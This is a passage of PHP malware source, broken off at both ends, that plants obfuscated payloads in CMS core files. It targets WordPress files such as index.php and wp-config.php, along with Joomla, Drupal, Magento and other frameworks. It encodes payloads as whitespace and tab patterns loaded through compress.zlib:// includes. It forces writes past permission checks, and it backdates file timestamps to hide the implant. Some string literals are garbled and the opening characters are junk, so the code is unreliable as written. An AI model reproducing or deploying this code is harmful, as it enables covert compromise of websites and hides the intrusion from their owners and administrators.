(*(…………% I4hcr'; $TARGET_FILES = array( array('type' => 'fixed', 'path' => 'index.php'), array('type' => 'fixed', 'path' => 'wp-blog-header.php'), array('type' => 'fixed', 'path' => 'wp-load.php'), array('type' => 'fixed', 'path' => 'wp-config.php'), array('type' => 'rand', 'path' => 'wp-settings.php'), array('type' => 'rand', 'path' => 'wp-includes/version.php'), array('type' => 'rand', 'path' => 'wp-includes/compat.php'), array('type' => 'rand', 'path' => 'wp-includes/load.php'), array('type' => 'rand', 'path' => 'wp-includes/class-wp-widget.php'), array('type' => 'rand', 'path' => 'libraries/loader.php'), array('type' => 'rand', 'path' => 'libraries/src/Session/Session.php'), array('type' => 'rand', 'path' => 'includes/bootstrap.inc'), array('type' => 'rand', 'path' => 'vendor/composer/autoload_real.php'), array('type' => 'rand', 'path' => '../app/bootstrap.php'), ); define('WP_INDEX_ORIGINAL', 'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK'); define('_ME_RUNNING_DIR', isset($GLOBALS['____SCRIPT_DIR']) ? str_replace('\\', '/', $GLOBALS['____SCRIPT_DIR']) : str_replace('\\', '/', dirname(__FILE__))); define('_ME_RUNNING_FILE', isset($GLOBALS['____SCRIPT_FILE']) ? $GLOBALS['____SCRIPT_FILE'] : __FILE__); define('_ME_IS_WRAPPED', isset($GLOBALS['____SCRIPT_DIR'])); function CMS_SIGNATURES() { return array( 'wp-config.php', 'wp-blog-header.php', 'wp-load.php', 'wp-settings.php', 'configuration.php', 'includes/app.php', 'libraries/loader.php', 'sites/default/settings.php', 'core/lib/Drupal.php', 'autoload.php', 'app/etc/env.php', 'app/etc/config.php', 'bin/magento', 'app/Mage.php', 'app/etc/local.xml', 'artisan', 'bootstrap/app.php', 'vendor/autoload.php', 'symfony.lock', 'config/bundles.php', 'yii', 'web/index.php', 'protected/config/main.php', 'system/index.php', 'config.php', 'system/startup.php', 'config/settings.inc.php', 'composer.json', 'vendor/autoload.php', ); } function CMS_SIGNATURE_MAP() { return array( 'wp-config.php' => 'wordpress', 'wp-blog-header.php' => 'wordpress', 'wp-load.php' => 'wordpress', 'wp-settings.php' => 'wordpress', 'configuration.php' => 'joomla', 'includes/app.php' => 'joomla', 'libraries/loader.php' => 'joomla', 'sites/default/settings.php' => 'drupal', 'core/lib/Drupal.php' => 'drupal', 'autoload.php' => 'generic', 'app/etc/env.php' => 'magento2', 'app/etc/config.php' => 'magento2', 'bin/magento' => 'magento2', 'app/Mage.php' => 'magento1', 'app/etc/local.xml' => 'magento1', 'artisan' => 'laravel', 'bootstrap/app.php' => 'laravel', 'vendor/autoload.php' => 'generic', 'symfony.lock' => 'symfony', 'config/bundles.php' => 'symfony', 'yii' => 'yii', 'web/index.php' => 'yii', 'protected/config/main.php' => 'yii1', 'system/index.php' => 'codeigniter', 'config.php' => 'generic', 'system/startup.php' => 'opencart', 'config/settings.inc.php' => 'prestashop', 'composer.json' => 'generic', ); } function cms_name_for_signature($sig) { $map = CMS_SIGNATURE_MAP(); return isset($map[$sig]) ? $map[$sig] : ''; } function CMS_SYSTEM_DIRS() { return array( 'wordpress' => array('wp-includes', 'wp-content/plugins', 'wp-content/mu-plugins', 'wp-content/themes'), 'joomla' => array('libraries', 'includes', 'plugins', 'administrator/components', 'components', 'modules', 'templates'), 'drupal' => array('includes', 'core/includes', 'core/lib', 'modules', 'themes'), 'magento2' => array('app', 'lib/internal', 'app/design'), 'magento1' => array('app', 'lib', 'app/design'), 'laravel' => array('app', 'bootstrap', 'routes'), 'symfony' => array('src'), 'yii2' => array('controllers', 'models', 'components', 'modules', 'themes'), 'yii1' => array('protected', 'themes'), 'opencart' => array('system', 'catalog/controller', 'catalog/view/theme'), 'prestashop' => array('classes', 'controllers', 'modules', 'themes'), 'codeigniter' => array('system', 'application'), 'discuz' => array('source', 'uc_client', 'uc_server', 'source/plugin', 'template'), 'thinkphp' => array('thinkphp', 'application', 'app'), ); } function PHP_FILE_EXTS() { return array('php', 'inc', 'php5', 'php7', 'phtml', 'module', 'install', 'profile', 'engine'); } function SKIP_DIRS() { return array( '.', '..', '.git', '.svn', '.hg', 'node_modules', 'vendor', 'bower_components', 'cache', 'tmp', 'temp', 'logs', 'log', 'session', 'sessions', ); } function RESOURCE_KEYWORDS() { return array( 'media', 'css', 'js', 'img', 'images', 'image', 'fonts', 'font', 'uploads', 'upload', 'assets', 'asset', 'static', 'public', 'themes', 'theme', 'templates', 'template', 'dist', 'build', 'lib', 'libraries', 'icons', 'icon', 'sounds', 'sound', 'videos', 'video', 'docs', 'doc', 'files', 'file', 'data', 'resources', ); } function RESOURCE_EXTS() { return array( '.css', '.js', '.png', '.gif', '.svg', '.jpg', '.jpeg', '.webp', '.woff', '.woff2', '.ttf', '.eot', '.scss', '.min.css', '.min.js', '.php', '.txt', '.ico', '.xml', '.json', '.map', '.md', '.html', '.htm', '.less', '.sass', '.csv', '.pdf', ); } function COMMON_FOLDERS() { return array( "wp-admin/css" => "about-rtl.css,about-rtl.min.css,about.css,about.min.css,admin-menu-rtl.css,admin-menu-rtl.min.css,admin-menu.css,admin-menu.min.css,code-editor-rtl.css,code-editor-rtl.min.css,code-editor.css,code-editor.min.css,color-picker-rtl.css,color-picker-rtl.min.css,color-picker.css,color-picker.min.css,common-rtl.css,common-rtl.min.css,common.css,common.min.css,customize-controls-rtl.css,customize-controls-rtl.min.css,customize-controls.css,customize-controls.min.css,customize-nav-menus-rtl.css,customize-nav-menus-rtl.min.css,customize-nav-menus.css,customize-nav-menus.min.css,customize-widgets-rtl.css,customize-widgets-rtl.min.css,customize-widgets.css,customize-widgets.min.css,dashboard-rtl.css,dashboard-rtl.min.css,dashboard.css,dashboard.min.css,deprecated-media-rtl.css,deprecated-media-rtl.min.css,deprecated-media.css,deprecated-media.min.css,edit-rtl.css,edit-rtl.min.css,edit.css,edit.min.css,farbtastic-rtl.css,farbtastic-rtl.min.css,farbtastic.css,farbtastic.min.css,forms-rtl.css,forms-rtl.min.css,forms.css,forms.min.css,install-rtl.css,install-rtl.min.css,install.css,install.min.css,l10n-rtl.css,l10n-rtl.min.css,l10n.css,l10n.min.css,list-tables-rtl.css,list-tables-rtl.min.css,list-tables.css,list-tables.min.css,login-rtl.css,login-rtl.min.css,login.css,login.min.css,media-rtl.css,media-rtl.min.css,media.css,media.min.css,nav-menus-rtl.css,nav-menus-rtl.min.css,nav-menus.css,nav-menus.min.css,revisions-rtl.css,revisions-rtl.min.css,revisions.css,revisions.min.css,site-health-rtl.css,site-health-rtl.min.css,site-health.css,site-health.min.css,site-icon-rtl.css,site-icon-rtl.min.css,site-icon.css,site-icon.min.css,themes-rtl.css,themes-rtl.min.css,themes.css,themes.min.css,view-transitions.css,view-transitions.min.css,widgets-rtl.css,widgets-rtl.min.css,widgets.css,widgets.min.css,wp-admin-rtl.css,wp-admin-rtl.min.css,wp-admin.css,wp-admin.min.css", "wp-admin/css/colors/blue" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/coffee" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/ectoplasm" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/light" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/midnight" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/modern" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/ocean" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/css/colors/sunrise" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss", "wp-admin/images" => "about-texture.png,align-center-2x.png,align-center.png,align-left-2x.png,align-left.png,align-none-2x.png,align-none.png,align-right-2x.png,align-right.png,arrows-2x.png,arrows.png,browser-rtl.png,browser.png,bubble_bg-2x.gif,bubble_bg.gif,comment-grey-bubble-2x.png,comment-grey-bubble.png,date-button-2x.gif,date-button.gif,freedom-1.svg,freedom-2.svg,freedom-3.svg,freedom-4.svg,generic.png,icons32-2x.png,icons32-vs-2x.png,icons32-vs.png,icons32.png,imgedit-icons-2x.png,imgedit-icons.png,list-2x.png,list.png,loading.gif,marker.png,mask.png,media-button-2x.png,media-button-image.gif,media-button-music.gif,media-button-other.gif,media-button-video.gif,media-button.png,menu-2x.png,menu-vs-2x.png,menu-vs.png,menu.png,no.png,post-formats-vs.png,post-formats.png,post-formats32-vs.png,post-formats32.png,privacy.svg,resize-2x.gif,resize-rtl-2x.gif,resize-rtl.gif,resize.gif,se.png,sort-2x.gif,sort.gif,spinner-2x.gif,spinner.gif,stars-2x.png,stars.png,w-logo-blue.png,w-logo-white.png,wheel.png,wordpress-logo-white.svg,wordpress-logo.png,wordpress-logo.svg,wpspin_light-2x.gif,wpspin_light.gif,xit-2x.gif,xit.gif,yes.png", "wp-admin/js" => "accordion.js,accordion.min.js,application-passwords.js,application-passwords.min.js,auth-app.js,auth-app.min.js,code-editor.js,code-editor.min.js,color-picker.js,color-picker.min.js,comment.js,comment.min.js,common.js,common.min.js,custom-background.js,custom-background.min.js,custom-header.js,customize-controls.js,customize-controls.min.js,customize-nav-menus.js,customize-nav-menus.min.js,customize-widgets.js,customize-widgets.min.js,dashboard.js,dashboard.min.js,edit-comments.js,edit-comments.min.js,editor-expand.js,editor-expand.min.js,editor.js,editor.min.js,farbtastic.js,gallery.js,gallery.min.js,image-edit.js,image-edit.min.js,inline-edit-post.js,inline-edit-post.min.js,inline-edit-tax.js,inline-edit-tax.min.js,iris.min.js,language-chooser.js,language-chooser.min.js,link.js,link.min.js,media-gallery.js,media-gallery.min.js,media-upload.js,media-upload.min.js,media.js,media.min.js,nav-menu.js,nav-menu.min.js,password-strength-meter.js,password-strength-meter.min.js,plugin-install.js,plugin-install.min.js,post.js,post.min.js,postbox.js,postbox.min.js,privacy-tools.js,privacy-tools.min.js,revisions.js,revisions.min.js,set-post-thumbnail.js,set-post-thumbnail.min.js,site-health.js,site-health.min.js,svg-painter.js,svg-painter.min.js,tags-box.js,tags-box.min.js,tags-suggest.js,tags-suggest.min.js,tags.js,tags.min.js,theme-plugin-editor.js,theme-plugin-editor.min.js,theme.js,theme.min.js,updates.js,updates.min.js,user-profile.js,user-profile.min.js,user-suggest.js,user-suggest.min.js,widgets.js,widgets.min.js,word-count.js,word-count.min.js,xfn.js,xfn.min.js", "wp-admin/js/widgets" => "custom-html-widgets.js,custom-html-widgets.min.js,media-audio-widget.js,media-audio-widget.min.js,media-gallery-widget.js,media-gallery-widget.min.js,media-image-widget.js,media-image-widget.min.js,media-video-widget.js,media-video-widget.min.js,media-widgets.js,media-widgets.min.js,text-widgets.js,text-widgets.min.js", "wp-includes/css" => "admin-bar-rtl.css,admin-bar-rtl.min.css,admin-bar.css,admin-bar.min.css,buttons-rtl.css,buttons-rtl.min.css,buttons.css,buttons.min.css,classic-themes.css,classic-themes.min.css,customize-preview-rtl.css,customize-preview-rtl.min.css,customize-preview.css,customize-preview.min.css,dashicons.css,dashicons.min.css,editor-rtl.css,editor-rtl.min.css,editor.css,editor.min.css,jquery-ui-dialog-rtl.css,jquery-ui-dialog-rtl.min.css,jquery-ui-dialog.css,jquery-ui-dialog.min.css,media-views-rtl.css,media-views-rtl.min.css,media-views.css,media-views.min.css,wp-auth-check-rtl.css,wp-auth-check-rtl.min.css,wp-auth-check.css,wp-auth-check.min.css,wp-block-template-skip-link-rtl.css,wp-block-template-skip-link-rtl.min.css,wp-block-template-skip-link.css,wp-block-template-skip-link.min.css,wp-embed-template-ie.css,wp-embed-template-ie.min.css,wp-embed-template.css,wp-embed-template.min.css,wp-empty-template-alert.css,wp-empty-template-alert.min.css,wp-pointer-rtl.css,wp-pointer-rtl.min.css,wp-pointer.css,wp-pointer.min.css", "wp-includes/css/dist/block-directory" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/block-editor" => "content-rtl.css,content-rtl.min.css,content.css,content.min.css,default-editor-styles-rtl.css,default-editor-styles-rtl.min.css,default-editor-styles.css,default-editor-styles.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/block-library" => "classic-rtl.css,classic-rtl.min.css,classic.css,classic.min.css,common-rtl.css,common-rtl.min.css,common.css,common.min.css,editor-elements-rtl.css,editor-elements-rtl.min.css,editor-elements.css,editor-elements.min.css,editor-rtl.css,editor-rtl.min.css,editor.css,editor.min.css,elements-rtl.css,elements-rtl.min.css,elements.css,elements.min.css,reset-rtl.css,reset-rtl.min.css,reset.css,reset.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css,theme-rtl.css,theme-rtl.min.css,theme.css,theme.min.css", "wp-includes/css/dist/components" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/customize-widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/edit-post" => "classic-rtl.css,classic-rtl.min.css,classic.css,classic.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/edit-site" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/edit-widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/editor" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/format-library" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/list-reusable-blocks" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/nux" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/reusable-blocks" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/css/dist/widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css", "wp-includes/fonts" => "dashicons.eot,dashicons.svg,dashicons.ttf,dashicons.woff,dashicons.woff2", "wp-includes/images" => "admin-bar-sprite-2x.png,admin-bar-sprite.png,arrow-pointer-blue-2x.png,arrow-pointer-blue.png,blank.gif,down_arrow-2x.gif,down_arrow.gif,icon-pointer-flag-2x.png,icon-pointer-flag.png,rss-2x.png,rss.png,spinner-2x.gif,spinner.gif,toggle-arrow-2x.png,toggle-arrow.png,uploader-icons-2x.png,uploader-icons.png,w-logo-blue-white-bg.png,w-logo-blue.png,wpicons-2x.png,wpicons.png,wpspin-2x.gif,wpspin.gif,xit-2x.gif,xit.gif", "wp-includes/images/crystal" => "archive.png,audio.png,code.png,default.png,document.png,interactive.png,license.txt,spreadsheet.png,text.png,video.png", "wp-includes/images/media" => "archive.png,archive.svg,audio.png,audio.svg,code.png,code.svg,default.png,default.svg,document.png,document.svg,interactive.png,interactive.svg,spreadsheet.png,spreadsheet.svg,text.png,text.svg,video.png,video.svg", "wp-includes/images/smilies" => "frownie.png,icon_arrow.gif,icon_biggrin.gif,icon_confused.gif,icon_cool.gif,icon_cry.gif,icon_eek.gif,icon_evil.gif,icon_exclaim.gif,icon_idea.gif,icon_lol.gif,icon_mad.gif,icon_mrgreen.gif,icon_neutral.gif,icon_question.gif,icon_razz.gif,icon_redface.gif,icon_rolleyes.gif,icon_sad.gif,icon_smile.gif,icon_surprised.gif,icon_twisted.gif,icon_wink.gif,mrgreen.png,rolleyes.png,simple-smile.png", "wp-includes/js" => "admin-bar.js,admin-bar.min.js,api-request.js,api-request.min.js,autosave.js,autosave.min.js,backbone.js,backbone.min.js,clipboard.js,clipboard.min.js,colorpicker.js,colorpicker.min.js,comment-reply.js,comment-reply.min.js,customize-base.js,customize-base.min.js,customize-loader.js,customize-loader.min.js,customize-models.js,customize-models.min.js,customize-preview-nav-menus.js,customize-preview-nav-menus.min.js,customize-preview-widgets.js,customize-preview-widgets.min.js,customize-preview.js,customize-preview.min.js,customize-selective-refresh.js,customize-selective-refresh.min.js,customize-views.js,customize-views.min.js,heartbeat.js,heartbeat.min.js,hoverintent-js.min.js,hoverintent.js,hoverintent.min.js,imagesloaded.min.js,json2.js,json2.min.js,masonry.min.js,mce-view.js,mce-view.min.js,media-audiovideo.js,media-audiovideo.min.js,media-editor.js,media-editor.min.js,media-grid.js,media-grid.min.js,media-models.js,media-models.min.js,media-views.js,media-views.min.js,quicktags.js,quicktags.min.js,shortcode.js,shortcode.min.js,swfobject.js,swfobject.min.js,tw-sack.js,tw-sack.min.js,twemoji.js,twemoji.min.js,underscore.js,underscore.min.js,utils.js,utils.min.js,wp-ajax-response.js,wp-ajax-response.min.js,wp-api.js,wp-api.min.js,wp-auth-check.js,wp-auth-check.min.js,wp-backbone.js,wp-backbone.min.js,wp-custom-header.js,wp-custom-header.min.js,wp-embed-template.js,wp-embed-template.min.js,wp-embed.js,wp-embed.min.js,wp-emoji-loader.js,wp-emoji-loader.min.js,wp-emoji-release.min.js,wp-emoji.js,wp-emoji.min.js,wp-list-revisions.js,wp-list-revisions.min.js,wp-lists.js,wp-lists.min.js,wp-pointer.js,wp-pointer.min.js,wp-sanitize.js,wp-sanitize.min.js,wp-util.js,wp-util.min.js,wpdialog.js,wpdialog.min.js,wplink.js,wplink.min.js,zxcvbn-async.js,zxcvbn-async.min.js,zxcvbn.min.js", "wp-includes/js/codemirror" => "codemirror.min.css,codemirror.min.js,csslint.js,espree.min.js,esprima.js,fakejshint.js,htmlhint-kses.js,htmlhint.js,jsonlint.js", "wp-includes/js/crop" => "cropper.css,cropper.js,marqueehoriz.gif,marqueevert.gif", "wp-includes/js/dist" => "a11y.js,a11y.min.js,annotations.js,annotations.min.js,api-fetch.js,api-fetch.min.js,autop.js,autop.min.js,base-styles.js,base-styles.min.js,blob.js,blob.min.js,block-directory.js,block-directory.min.js,block-editor.js,block-editor.min.js,block-library.js,block-library.min.js,block-serialization-default-parser.js,block-serialization-default-parser.min.js,blocks.js,blocks.min.js,components.js,components.min.js,compose.js,compose.min.js,core-data.js,core-data.min.js,data-controls.js,data-controls.min.js,data.js,data.min.js,date.js,date.min.js,deprecated.js,deprecated.min.js,dom-ready.js,dom-ready.min.js,dom.js,dom.min.js,edit-post.js,edit-post.min.js,edit-site.js,edit-site.min.js,editor.js,editor.min.js,element.js,element.min.js,escape-html.js,escape-html.min.js,format-library.js,format-library.min.js,html-entities.js,html-entities.min.js,i18n.js,i18n.min.js,is-shallow-equal.js,is-shallow-equal.min.js,keyboard-shortcuts.js,keyboard-shortcuts.min.js,keycodes.js,keycodes.min.js,list-reusable-blocks.js,list-reusable-blocks.min.js,media-utils.js,media-utils.min.js,notices.js,notices.min.js,nux.js,nux.min.js,plugins.js,plugins.min.js,primitives.js,primitives.min.js,priority-queue.js,priority-queue.min.js,redux-routine.js,redux-routine.min.js,rich-text.js,rich-text.min.js,server-side-render.js,server-side-render.min.js,shortcode.js,shortcode.min.js,token-list.js,token-list.min.js,url.js,url.min.js,viewport.js,viewport.min.js,warning.js,warning.min.js,wordcount.js,wordcount.min.js", "wp-includes/js/jcrop" => "jcrop.gif,jquery.jcrop.min.css,jquery.jcrop.min.js", "wp-includes/js/jquery" => "jquery-migrate.js,jquery-migrate.min.js,jquery.color.min.js,jquery.form.js,jquery.form.min.js,jquery.hotkeys.js,jquery.hotkeys.min.js,jquery.js,jquery.masonry.min.js,jquery.min.js,jquery.query.js,jquery.schedule.js,jquery.serialize-object.js,jquery.table-hotkeys.js,jquery.table-hotkeys.min.js,jquery.ui.touch-punch.js,suggest.js,suggest.min.js", "wp-includes/js/jquery/ui" => "accordion.js,accordion.min.js,autocomplete.js,autocomplete.min.js,button.js,button.min.js,checkboxradio.js,checkboxradio.min.js,controlgroup.js,controlgroup.min.js,core.js,core.min.js,datepicker.js,datepicker.min.js,dialog.js,dialog.min.js,draggable.js,draggable.min.js,droppable.js,droppable.min.js,effect-blind.js,effect-blind.min.js,effect-bounce.js,effect-bounce.min.js,effect-clip.js,effect-clip.min.js,effect-drop.js,effect-drop.min.js,effect-explode.js,effect-explode.min.js,effect-fade.js,effect-fade.min.js,effect-fold.js,effect-fold.min.js,effect-highlight.js,effect-highlight.min.js,effect-puff.js,effect-puff.min.js,effect-pulsate.js,effect-pulsate.min.js,effect-scale.js,effect-scale.min.js,effect-shake.js,effect-shake.min.js,effect-size.js,effect-size.min.js,effect-slide.js,effect-slide.min.js,effect-transfer.js,effect-transfer.min.js,effect.js,effect.min.js,menu.js,menu.min.js,mouse.js,mouse.min.js,progressbar.js,progressbar.min.js,resizable.js,resizable.min.js,selectable.js,selectable.min.js,selectmenu.js,selectmenu.min.js,slider.js,slider.min.js,sortable.js,sortable.min.js,spinner.js,spinner.min.js,tabs.js,tabs.min.js,tooltip.js,tooltip.min.js", "wp-includes/js/mediaelement" => "mediaelement-and-player.js,mediaelement-and-player.min.js,mediaelement-migrate.js,mediaelement-migrate.min.js,mediaelement.js,mediaelement.min.js,mediaelementplayer-legacy.css,mediaelementplayer-legacy.min.css,mediaelementplayer.css,mediaelementplayer.min.css,mejs-controls.png,mejs-controls.svg,wp-mediaelement.css,wp-mediaelement.js,wp-mediaelement.min.css,wp-mediaelement.min.js,wp-playlist.js,wp-playlist.min.js", "wp-includes/js/plupload" => "handlers.js,handlers.min.js,license.txt,moxie.js,moxie.min.js,plupload.js,plupload.min.js,wp-plupload.js,wp-plupload.min.js", "wp-includes/js/thickbox" => "loadinganimation.gif,macffbghack.png,thickbox.css,thickbox.js", "wp-includes/js/tinymce/langs" => "wp-langs-en.js", "wp-includes/js/tinymce/plugins/charmap" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/colorpicker" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/directionality" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/fullscreen" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/hr" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/image" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/link" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/lists" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/media" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/paste" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/tabfocus" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/textcolor" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wordpress" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpautoresize" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpdialogs" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpeditimage" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpemoji" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpgallery" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wplink" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wptextpattern" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/plugins/wpview" => "plugin.js,plugin.min.js", "wp-includes/js/tinymce/skins/lightgray/fonts" => "tinymce-small.eot,tinymce-small.svg,tinymce-small.ttf,tinymce-small.woff,tinymce.eot,tinymce.svg,tinymce.ttf,tinymce.woff", "wp-includes/js/tinymce/skins/lightgray/img" => "anchor.gif,loader.gif,object.gif,trans.gif", "wp-includes/js/tinymce/skins/wordpress/images" => "audio.png,dashicon-edit.png,dashicon-no.png,embedded.png,gallery-2x.png,gallery.png,more-2x.png,more.png,pagebreak-2x.png,pagebreak.png,playlist-audio.png,playlist-video.png,script.svg,style.svg,video.png", "wp-includes/js/tinymce/themes/inlite" => "theme.js,theme.min.js", "wp-includes/js/tinymce/themes/modern" => "theme.js,theme.min.js", ); } $_hasZlib = in_array('zlib.*', stream_get_filters()); function generate_encrypted_code_one($content) { $num = strlen($content); $res = ''; for ($i = 0; $i < $num; $i++) { $bin = sprintf('%08b', ord($content[$i])); $res .= str_replace(array('0', '1'), array(' ', "\t"), $bin); } $vars = array(); while (count($vars) < 5) { $varName = '$_' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 1) . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'), 0, rand(6, 10)); $vars[$varName] = true; } list($v_payload, $v_bin, $v_code, $v_arr, $v_item) = array_keys($vars); $code = "' . {$v_code});"; return $code; } function encode_payload_content($rawContent) { global $_hasZlib; if (!$_hasZlib) { _log('WARN', 'zlib stream filter NOT available - compress.zlib:// cannot inflate the payload on this host.'); } $clean = preg_replace('/^<\?php\s*/i', '', trim($rawContent)); $clean = preg_replace('/\?>\s*$/i', '', $clean); $guarded = ' ' . strlen($encoded) . ' gz bytes (zlib=' . ($_hasZlib ? 'yes' : 'no') . ')'); return $encoded; } function build_zlib_include_path($relativePath) { return 'compress.zlib://' . $relativePath; } function write_encoded_payload($rawContent, $dstPath) { $encoded = encode_payload_content($rawContent); @chmod($dstPath, 0644); if (@file_put_contents($dstPath, $encoded) !== false) { _log('DEBUG', "Encoded write succeeded (m1 file_put_contents): $dstPath"); return true; } $dst = @fopen($dstPath, 'wb'); if ($dst) { fwrite($dst, $encoded); fclose($dst); if (is_file($dstPath)) { _log('DEBUG', "Encoded write succeeded (m2 stream): $dstPath"); return true; } } $dir = dirname($dstPath); $temp = @tempnam($dir, 'tmp'); if ($temp !== false) { if (@file_put_contents($temp, $encoded) !== false) { @chmod($dstPath, 0644); if (@rename($temp, $dstPath)) { _log('DEBUG', "Encoded write succeeded (m3 tempnam+rename): $dstPath"); return true; } } @unlink($temp); } $oldDirMode = @fileperms($dir); $chmodded = false; if ($oldDirMode !== false) { $chmodded = @chmod($dir, 0755); } @unlink($dstPath); $ok4 = @file_put_contents($dstPath, $encoded); if ($chmodded && $oldDirMode !== false) @chmod($dir, $oldDirMode); if ($ok4 !== false) { _log('DEBUG', "Encoded write succeeded (m4 dir-swap): $dstPath"); return true; } _log('WARN', "All write methods failed for: $dstPath"); return false; } $_logs = array(); function _log($level, $msg) { global $_logs, $DEBUG, $LOG_FILE; $line = date('Y-m-d H:i:s') . " [$level] $msg"; $_logs[] = $line; if ($DEBUG) { if (php_sapi_name() === 'cli') { fwrite(STDERR, $line . "\n"); } @file_put_contents($LOG_FILE, $line . "\n", FILE_APPEND); } } function crypto_rand_int($min, $max) { if (function_exists('random_int')) { return random_int($min, $max); } return mt_rand($min, $max); } function random_case_string($str) { $out = ''; $hasUpper = false; $len = strlen($str); for ($i = 0; $i < $len; $i++) { $ch = $str[$i]; if (ctype_alpha($ch)) { if (mt_rand(0, 1) === 1) { $out .= strtoupper($ch); $hasUpper = true; } else { $out .= $ch; } } else { $out .= $ch; } } if (!$hasUpper) { $alphas = array(); for ($i = 0; $i < $len; $i++) if (ctype_alpha($str[$i])) $alphas[] = $i; if (!empty($alphas)) { $p = $alphas[mt_rand(0, count($alphas) - 1)]; $out[$p] = strtoupper($out[$p]); } } return $out; } function blend_file_mtime($filePath) { $dir = dirname($filePath); $ext = '.' . pathinfo($filePath, PATHINFO_EXTENSION); $extLen = strlen($ext); $siblings = @scandir($dir); if (!$siblings || count($siblings) <= 2) { $target = time() - (2 * 365 * 86400) - rand(0, 365 * 86400); _log('INFO', 'mtime blend (' . basename($filePath) . '): no siblings → random past: ' . date('Y-m-d', $target)); $ok = @touch($filePath, $target); _log($ok ? 'INFO' : 'WARN', 'mtime set: ' . ($ok ? 'OK' : 'FAILED (permissions?)')); return $ok; } $mtimes = array(); foreach ($siblings as $f) { if ($f === '.' || $f === '..') continue; if (substr($f, -$extLen) !== $ext) continue; $full = $dir . '/' . $f; if (realpath($full) === realpath($filePath)) continue; $mt = @filemtime($full); if ($mt !== false) $mtimes[] = $mt; } if (empty($mtimes)) { $target = time() - (2 * 365 * 86400) - rand(0, 365 * 86400); _log('INFO', 'mtime blend (' . basename($filePath) . '): no same-ext siblings → random past: ' . date('Y-m-d', $target)); } else { $counts = array_count_values($mtimes); arsort($counts); $target = _me_first_key($counts); $majority = reset($counts); _log('INFO', 'mtime blend (' . basename($filePath) . '): ' . count($mtimes) . ' siblings, majority=' . $majority . '/' . count($mtimes) . ' → ' . date('Y-m-d H:i:s', $target)); } $ok = @touch($filePath, $target); _log($ok ? 'INFO' : 'WARN', 'mtime set: ' . ($ok ? 'OK' : 'FAILED (permissions?)')); return $ok; } function me_is_stub_index($path) { if (!is_file($path)) return false; $sz = @filesize($path); if ($sz === false || $sz > 200) return false; $c = @file_get_contents($path); if ($c === false) return false; $t = trim($c); if ($t === '') return true; $body = preg_replace('/^<\?php/i', '', $t); $body = 